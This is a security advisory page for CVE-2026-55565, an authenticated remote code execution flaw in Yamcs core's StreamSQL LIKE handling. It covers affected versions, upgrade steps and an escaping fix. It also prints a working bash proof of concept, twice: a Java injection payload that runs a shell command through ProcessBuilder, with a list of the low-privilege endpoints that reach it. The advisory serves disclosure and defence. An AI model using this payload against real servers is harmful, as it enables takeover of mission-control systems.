CVE-2026-55565: Yamcs core Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-c64q-hj4j-375f
CVSS 9.9
CWE-94
Published
Advisory Summary

CVE-2026-55565 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Yamcs core libraries in the Maven ecosystem. The issue involves yamcs vulnerable to authenticated remote code execution via unescaped streamsql `like` pattern compiled by janino (`likeexpression`). Remediation is available by upgrading affected packages to version 5.13.2, 5.12.8.

CVE-2026-55565 at a Glance

CVE Identifier CVE-2026-55565
GHSA Identifier GHSA-c64q-hj4j-375f
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Yamcs core
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55565

To remediate this vulnerability, upgrade all affected Yamcs core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.yamcs:yamcs-core fixed: 5.13.2
<dependency>
    <groupId>org.yamcs</groupId>
    <artifactId>yamcs-core</artifactId>
    <version>5.13.2</version>
</dependency>
org.yamcs:yamcs-core fixed: 5.12.8
<dependency>
    <groupId>org.yamcs</groupId>
    <artifactId>yamcs-core</artifactId>
    <version>5.12.8</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.yamcs

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-55565, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.yamcs

Analyze the terminal output to locate any version of Yamcs core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.13.2), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.yamcs command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Yamcs core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `"..."` literal, so a pattern containing `"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs. The pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`: - `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`) - `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`) - `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`) - `listActivities` `q` (privilege `ReadActivities`) The Events page search box feeds `q` directly. Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate. ## Details - **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows. - **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(<col>, "<pattern>")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one. - **Grammar:** `S_STRING = "'" (~["'"])* "'"` (`StreamSql.jj:222`) allows `"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `"` or `\`. - **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected. - **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -> `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it: - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE. - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `"%"+q+"%"`. Verified RCE. - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `"%"+q+"%"`. `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`). ## Proof of Concept Against a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`. ```bash BASE=http://<host>:8090 INSTANCE=<instance> # 1. Get a token for a ControlArchiving user. TOK=$(curl -s -X POST "$BASE/auth/token" \ -d 'grant_type=password&username=USER&password=PASS' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])') # 2. Create a table with a string column. curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \ -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \ -d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}' # 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a # static{} initializer that runs an OS command, then reopens a dummy method so the # generated class still compiles. PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1' SQL="create stream pwn as select * from demo where y like '$PATTERN'" curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \ -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \ -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")" # 4. Proof: the command ran as the Yamcs OS user (on the server host). cat /tmp/pwned # -> uid=...(...) ``` A benign `like 'abc%'` does nothing; exploitation depends on the `"` break-out. ## Impact Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`). Exploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log). ## Remediation Escape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`: ```java code.append(", \""); ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern); code.append("\")"); ``` Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.

CVE-2026-55565 Affected Yamcs core Versions

2 component(s)
Fixed Versions:
5.13.25.12.8
Product / Package Ecosystem Affected Versions Fixed Version
org.yamcs:yamcs-core
Maven
≥ 5.13.0
< 5.13.2
5.13.2
org.yamcs:yamcs-core
Maven
< 5.12.8
5.12.8

References

Frequently Asked Questions

What is CVE-2026-55565?
CVE-2026-55565 is a security vulnerability in Yamcs core involving Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Yamcs core versions are affected?
Affected versions include releases prior to 5.13.2, 5.12.8 across affected packages: org.yamcs:yamcs-core.
What version fixes CVE-2026-55565?
Upgrading to 5.13.2, 5.12.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yamcs-core affected?
Yes, org.yamcs:yamcs-core is affected in releases prior to 5.13.2, 5.12.8. Upgrade your dependency to 5.13.2, 5.12.8 or later.
What is the CVSS score of CVE-2026-55565?
CVE-2026-55565 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55565?
CVE-2026-55565 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Maven dependencies for CVE-2026-55565?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.yamcs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c64q-hj4j-375f",
  "modified" : "2026-08-28T17:30:32Z",
  "published" : "2026-08-28T17:30:32Z",
  "aliases" : [ "CVE-2026-55565" ],
  "summary" : "Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)",
  "details" : "## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(<col>, \"<pattern>\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"'\" (~[\"'\"])* \"'\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -> `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://<host>:8090\nINSTANCE=<instance>\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d 'grant_type=password&username=USER&password=PASS' \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}'\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN='a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id > /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1'\nSQL=\"create stream pwn as select * from demo where y like '$PATTERN'\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d \"$(python3 -c 'import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))' \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -> uid=...(...)\n```\nA benign `like 'abc%'` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.13.0"
      }, {
        "fixed" : "5.13.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.13.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T17:30:32Z",
    "nvd_published_at" : null
  }
}